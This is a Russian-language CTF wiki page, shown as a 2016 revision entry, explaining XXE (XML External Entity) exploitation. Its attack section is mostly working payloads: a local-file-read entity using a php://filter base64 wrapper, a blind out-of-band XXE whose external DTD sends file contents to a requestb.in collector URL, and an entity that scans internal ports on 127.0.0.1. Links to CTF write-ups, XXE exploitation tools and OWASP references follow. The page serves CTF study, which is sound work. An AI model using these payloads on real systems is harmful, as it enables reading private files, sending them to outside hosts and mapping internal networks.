Drakylar: Новая страница: « ==Поиск уязвимости== ==Эксплуатация== ===Чтение локальных файлов=== Код для чтения лок. фа…»

2016-11-01T21:03:46Z

Новая страница: « ==Поиск уязвимости== ==Эксплуатация== ===Чтение локальных файлов=== Код для чтения лок. фа…»

Новая страница

==Поиск уязвимости==

==Эксплуатация==

===Чтение локальных файлов===

Код для чтения лок. файлов, вывод закодирован в base64:

<syntaxhighlight lang="javascript" line="1" enclose="div" style="overflow-x:scroll" >
<?xml version='1.0' standalone='yes'?>
<!DOCTYPE plot [<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=/etc/flag">]>
<root>&xxe;</root>
</syntaxhighlight>

В случае со слепой XXE:

Отсылаемый код:

<syntaxhighlight lang="javascript" line="1" enclose="div" style="overflow-x:scroll" >
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY % remote SYSTEM "http://site/xxe.dtd">
%remote;]>
<root/>
</syntaxhighlight>

Хранящийся по URL'у (http://site/xxe.dtd):

<syntaxhighlight lang="javascript" line="1" enclose="div" style="overflow-x:scroll" >
<!ENTITY % payload SYSTEM "php://filter/read=convert.base64-encode/resource=file:///etc/flag">
<!ENTITY % int "<!ENTITY % trick SYSTEM 'http://requestb.in/xxxxxxxx?xxe_local=%payload;'>">

%int;
%trick;
</syntaxhighlight>

===Сканирование портов===

Запускать нужно с Intruder'ом или другой утилитой, позволяющей перебирать значение $$ (1-65535):

<syntaxhighlight lang="javascript" line="1" enclose="div" style="overflow-x:scroll" >
<?xml version='1.0' standalone='no'?>
<!DOCTYPE plot [<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=http://127.0.0.1:$$">]>
<root>&xxe;</root>
</syntaxhighlight>

==Примеры тасков==

==Райтапы==

[http://www.pwntester.com/blog/2014/01/17/hackyou2014-web400-write-up/ hackyou2014-web400-write-up]

[https://gist.github.com/h3xstream/3d51b99f651548f7fa2b GoSecure CTF - Web 300]

[https://darkbyte.ru/2012/48/phdays-hackquest-ctf-writeup/ Belorussky Rail Terminal]

[http://zairo.tistory.com/entry/2016-SECUINSIDE-CTF-Onmyweb400 SECUINSIDE CTF Onmyweb400]

==Утилиты==

[https://github.com/BuffaloWill/oxml_xxe oxml_xxe]

[https://github.com/enjoiz/XXEinjector XXEinjector]

[https://github.com/Gifts/XXE-OOB-Exploitation-Toolset-for-Automation/ XXE-OOB]

==Полезные ссылки==

[https://www.owasp.org/index.php/XML_External_Entity_(XXE)_Processing owasp]

[https://andrepetukhov.wordpress.com/2011/01/15/атака-xxe-xml-injectio/ статья от andrepetukhov]

[https://xakep.ru/2012/12/11/xml-apps-attacks-manual/ xakep.ru]

[http://resources.infosecinstitute.com/xxe-attacks/ infosec]

[https://media.blackhat.com/eu-13/briefings/Osipov/bh-eu-13-XML-data-osipov-wp.pdf слепые xxe]

[https://www.christian-schneider.net/GenericXxeDetection.html detection xxe]

Xxe - История изменений

Drakylar: Новая страница: « ==Поиск уязвимости== ==Эксплуатация== ===Чтение локальных файлов=== Код для чтения лок. фа…»